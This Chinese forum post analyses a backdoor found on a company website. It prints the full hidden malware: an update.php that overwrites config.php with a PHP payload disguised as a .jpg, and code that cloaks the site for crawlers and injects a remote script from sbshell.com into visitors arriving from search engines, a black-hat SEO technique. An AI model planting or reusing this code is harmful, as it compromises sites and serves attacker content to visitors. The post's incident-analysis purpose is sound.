前几天有个公司人事跟我说他们公司网站经常被改。
他把文件打包发我,我下载下来 我翻阅了里面许多正常文件,都没有发现猫腻。
我在想他是怎么进来修改的
再一个不知名的文件夹深处,发现一个 update.php 文件
[mw_shl_code=php,true]<meta http-equiv="refresh" content="5"><?php
/**
**/
$file = '/homeb/upload_files/label/2_20101109181105_gzaok.jpg';
$newfile = '/homeb/data/config.php'; //必须有写入权限
if (file_exists($file) == false)
{
die ('文件不在,无法复制');
}
$result = copy($file, $newfile);
if ($result == false)
{
echo '复制成功';
}
?>
[/mw_shl_code]
深入文件“/homeb/upload_files/label/2_20101109181105_gzaok.jpg”
贴出code
[mw_shl_code=applescript,true]<?php
function isCrawler() {
$agent= strtolower($_SERVER['HTTP_USER_AGENT']);
if (!empty($agent)) {
$spiderSite= array(
"TencentTraveler",
"Baiduspider+",
"BaiduGame",
"Googlebot",
"msnbot",
"Sosospider+",
"Sogou web spider",
"ia_archiver",
"Yahoo! Slurp",
"YoudaoBot",
"Yahoo Slurp",
"MSNBot",
"Java (Often spam bot)",
"BaiDuSpider",
"Voila",
"Yandex bot",
"BSpider",
"twiceler",
"Sogou Spider",
"Speedy Spider",
"Google AdSense",
"Heritrix",
"Python-urllib",
"Alexa (IA Archiver)",
"Ask",
"Exabot",
"Custo",
"OutfoxBot/YodaoBot",
"yacy",
"SurveyBot",
"legs",
"lwp-trivial",
"Nutch",
"StackRambler","360",
"The web archive (IA Archiver)",
"Perl tool",
"MJ12bot",
"Netcraft",
"MSIECrawler",
"WGet tools",
"larbin",
"Fish search",
);
foreach($spiderSite as $val) {
$str = strtolower($val);
if (strpos($agent, $str) !== false) {
return true;
}
}
} else {
return false;
}
}
function isfromse() {
$agent= strtolower($_SERVER['HTTP_REFERER']);
if (!empty($agent)) {
$spiderSite= array("google","baidu","sogou","yahoo","soso","360","so","yahoo","bing","youdao");
foreach($spiderSite as $val) {
$str = strtolower($val);
if (strpos($agent, $str) !== false) {
return true;
}
}
} else {
return false;
}
}
/*
function qishu($qishu_url){
return file_get_contents($qishu_url);
}
function ziliao($ziliao_url){
return file_get_contents($ziliao_url);
}
*/
if (isCrawler()){
$qishu_str = file_get_contents('http://www.2sgb.com/js/ads/qi.txt');//此处输入期数地址
$ziliao_str = file_get_contents('http://www.sbshell.com/1.txt');//此处输入资料地址
$ziliao_str = str_replace('{期数}',$qishu_str,$ziliao_str);
ob_get_clean();
echo $ziliao_str;die();
}
if (isfromse()){
ob_get_clean();
echo '<script type="text/javascript" src="http://www.sbshell.com/wb.js"></script>';
die();
}
?>[/mw_shl_code]
这段代码是判断搜索引擎来路代码
如果是直接打开这段代码就指引跳到主站这样不被管理员发现
如果是从百度或者其他引擎搜索的话就跳到http://www.sbshell.com/wb.js 这个路径
一般用于作黑帽seo的手法
对于他们为什么找不出后门就是 这个黑客基本不用进shell 就可以修改内容
运行 www.xxxx.com/admin/data/update.php文件 就直接修改想要的文件
|